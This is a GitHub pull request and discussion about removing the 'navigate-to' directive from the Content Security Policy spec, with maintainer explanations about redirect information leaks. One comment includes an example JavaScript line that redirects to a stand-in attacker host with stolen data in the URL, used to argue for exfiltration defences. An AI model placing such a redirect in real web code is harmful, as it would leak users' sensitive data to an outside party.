Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remove navigate-to. #564

Merged
merged 1 commit into from
Sep 16, 2022
Merged

Remove navigate-to. #564

merged 1 commit into from
Sep 16, 2022

Conversation

mikewest
Copy link
Member

Though there's an implementation of this directive behind a flag in Chromium, it's not something that any vendor has shipped, and there are real concerns about information leaks that it enables. This patch removes it from the spec to avoid confusion while we determine what, if anything, we want to do in this space.

Partially addresses #563.

Though there's an implementation of this directive behind a flag in
Chromium, it's not something that any vendor has shipped, and there
are real concerns about information leaks that it enables. This
patch removes it from the spec to avoid confusion while we determine
what, if anything, we want to do in this space.

Partially addresses #563.
@antosart
Copy link
Member

LGTM, thanks!

There seems to be some unrelated compilation issues with the spec - bikeshed is not able to find most references. I am not sure what is wrong with it, but I'll have a look.

@mikewest
Copy link
Member Author

The bikeshed issue seems like not our problem. I've seen other folks report issues this morning. I'll just wait until America wakes up and fixes it before landing this.

@mikewest mikewest merged commit 5f6b45a into main Sep 16, 2022
@mikewest mikewest deleted the navigate-to branch September 16, 2022 06:17
github-actions bot added a commit that referenced this pull request Sep 16, 2022
SHA: 5f6b45a
Reason: push, by @mikewest

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Sep 28, 2022
See w3c/webappsec-csp#564. The
“navigate-to” directive was removed from the CSP spec and no
implementation of it ever shipped anywhere.

Related MDN change: mdn/content#21114
sideshowbarker added a commit to mdn/content that referenced this pull request Sep 28, 2022
Fixes #21114

See w3c/webappsec-csp#564. The “navigate-to”
directive was removed from the CSP spec and no implementation of it ever
shipped anywhere.

Related BCD change: mdn/browser-compat-data#17902
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Sep 28, 2022
See w3c/webappsec-csp#564. The
“navigate-to” directive was removed from the CSP spec and no
implementation of it ever shipped anywhere.

Related MDN change: mdn/content#21147
sideshowbarker added a commit to mdn/browser-compat-data that referenced this pull request Sep 28, 2022
See w3c/webappsec-csp#564. The
“navigate-to” directive was removed from the CSP spec and no
implementation of it ever shipped anywhere.

Related MDN change: mdn/content#21147
sideshowbarker added a commit to mdn/content that referenced this pull request Sep 28, 2022
Fixes #21114

See w3c/webappsec-csp#564. The “navigate-to”
directive was removed from the CSP spec and no implementation of it ever
shipped anywhere.

Related BCD change: mdn/browser-compat-data#17902
Elchi3 pushed a commit to mdn/content that referenced this pull request Sep 28, 2022
Fixes #21114

See w3c/webappsec-csp#564. The “navigate-to”
directive was removed from the CSP spec and no implementation of it ever
shipped anywhere.

Related BCD change: mdn/browser-compat-data#17902
Elchi3 pushed a commit to mdn/browser-compat-data that referenced this pull request Sep 28, 2022
See w3c/webappsec-csp#564. The
“navigate-to” directive was removed from the CSP spec and no
implementation of it ever shipped anywhere.

Related MDN change: mdn/content#21147
@dveditz
Copy link
Member

dveditz commented Oct 5, 2022

Though there's an implementation of this directive behind a flag in Chromium

fwiw there is also an implementation in Firefox behind a pref, in limbo at this point. I'd be very happy to get an updated draft without it while we try to figure out if it's salvageable.

@mozfreddyb
Copy link
Contributor

Last I heard, there were some non-resolvable security issues with redirects (and maybe embeds?).
I'd be OK with removing it and filed https://bugzilla.mozilla.org/show_bug.cgi?id=1793560, but happy to wait a bit before going ahead and removing it all.

@eligrey
Copy link

eligrey commented Oct 20, 2022

Could someone link to information about the unresolvable security issues that can be caused by this directive?

@jub0bs
Copy link

jub0bs commented Jan 11, 2023

@eligrey Not yet public, but should be soon: https://bugs.chromium.org/p/chromium/issues/detail?id=1350804

@eligrey
Copy link

eligrey commented Jan 11, 2023

I don't have access to that link so I can only ask more questions: why not scope navigate-to equivalently to the navigation API, which can control all top-level (relative to the current context/realm) navigation? It's odd to see that a private issue has necessitated the complete removal of this feature.

I can't find any public discussions explaining why we can have the navigation API but not this CSP directive.

@mikewest
Copy link
Member Author

@eligrey: I opened up the issue, there's no reason it should have been private.

Removing navigate-to from the spec doesn't mean no one will ever ship anything like it. But as-designed, it leaks information about cross-origin redirects in a way that offers more capability than the existing form-action directive. Given that, browsers are unlikely to ship it as-is, and the spec should reflect reality.

If folks are interested in picking it back up and turning into something that would solve developers' problems while not causing new ones, great! It's simply a question of prioritization and effort.

moz-v2v-gh pushed a commit to mozilla/gecko-dev that referenced this pull request Jul 11, 2023
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue for their future removal:
w3c/webappsec-csp#608

Also removed our own tests to ensure it is unimplemented.

Differential Revision: https://phabricator.services.mozilla.com/D181630
vinnydiehl pushed a commit to vinnydiehl/mozilla-unified that referenced this pull request Jul 12, 2023
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue for their future removal:
w3c/webappsec-csp#608

Also removed our own tests to ensure it is unimplemented.

Differential Revision: https://phabricator.services.mozilla.com/D181630
gecko-dev-updater pushed a commit to marco-c/gecko-dev-wordified-and-comments-removed that referenced this pull request Jul 16, 2023
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue for their future removal:
w3c/webappsec-csp#608

Also removed our own tests to ensure it is unimplemented.

Differential Revision: https://phabricator.services.mozilla.com/D181630

UltraBlame original commit: 117114b8eb321259fe5b9160d2501623b6848b7a
gecko-dev-updater pushed a commit to marco-c/gecko-dev-comments-removed that referenced this pull request Jul 16, 2023
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue for their future removal:
w3c/webappsec-csp#608

Also removed our own tests to ensure it is unimplemented.

Differential Revision: https://phabricator.services.mozilla.com/D181630

UltraBlame original commit: 117114b8eb321259fe5b9160d2501623b6848b7a
gecko-dev-updater pushed a commit to marco-c/gecko-dev-wordified that referenced this pull request Jul 16, 2023
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue for their future removal:
w3c/webappsec-csp#608

Also removed our own tests to ensure it is unimplemented.

Differential Revision: https://phabricator.services.mozilla.com/D181630

UltraBlame original commit: 117114b8eb321259fe5b9160d2501623b6848b7a
moz-v2v-gh pushed a commit to mozilla/gecko-dev that referenced this pull request Jan 4, 2024
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue upstream for their future removal:
w3c/webappsec-csp#608
Consensus seems to agree to remove, will do in follow up bug once landed.

Also removed our own tests.

Added a hack in StartDocumentLoad as just removing the navigate-to check call
breaks some inhertiance, see comment for more info.

Differential Revision: https://phabricator.services.mozilla.com/D181630
@marsupilamimon
Copy link

Hey @mikewest ! Could you point me to some discussion about said information leaks? I couldn't find anywhere.

What is the future of navigate-to now? As far as I understand, CSP was literally this close to actually being capable of preventing exfiltration via generic reliable techniques and I at least was really looking forward to proper support for this.

Now you can just do this regardless of the CSP:
location.href="https://www.evil.example.com?exfiltrate=" + all_the_goodies;

...which can be a replicate of the original website and just redirect back, keeping the attack fairly stealthy.

ErichDonGubler pushed a commit to ErichDonGubler/firefox that referenced this pull request Jan 5, 2024
It has never shipped after being implemented years ago,
and was removed from spec in September 2022:
w3c/webappsec-csp#564

Now skipping navigate-to WPT tests. Filed issue upstream for their future removal:
w3c/webappsec-csp#608
Consensus seems to agree to remove, will do in follow up bug once landed.

Also removed our own tests.

Added a hack in StartDocumentLoad as just removing the navigate-to check call
breaks some inhertiance, see comment for more info.

Differential Revision: https://phabricator.services.mozilla.com/D181630
@mikewest
Copy link
Member Author

mikewest commented Jan 8, 2024

@marsupilamimon: As originally defined, navigate-to granted control over/insight into the redirect chain of a navigation at a somewhat granular level, allowing separation between initial navigations and redirects, with some compromises (e.g. 'unsafe-allow-redirects') that were helpful for anti-malvertising use cases. A new proposal that avoided any consideration of redirects would likely be safe, but would likely be insufficient for some use cases (including pure exfiltration risk, given the prevalance of same-origin open redirects).

Thus far, no one has spent the time to dig into the space again to make a new proposal. I don't think there's real philosophical objection to anyone doing so, it's just a prioritization question.

@marsupilamimon
Copy link

@mikewest alright, thanks for the reply! Is there something I can do to help?

I don't think the open redirects are an issue. While navigate-to would be bypassable in applications with open redirects (which are generally not such a great idea in the first place), developers would at least have the possibility to achieve proper defense against exfiltration.

For instance, the online banking app I use probably doesn't have open redirects. Also it doesn't have built-in exfiltration mechanisms (such as posting messages where the attacker could see them). But it does deal with fairly sensitive data and would surely benefit from this kind of a client-side implementation of blocking egress network traffic.

@jacksonrayhamilton
Copy link

A suitable replacement for navigate-to seems like it would be useful to prevent attacks like the one recently launched via polyfill.io: https://sansec.io/research/polyfill-supply-chain-attack

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

8 participants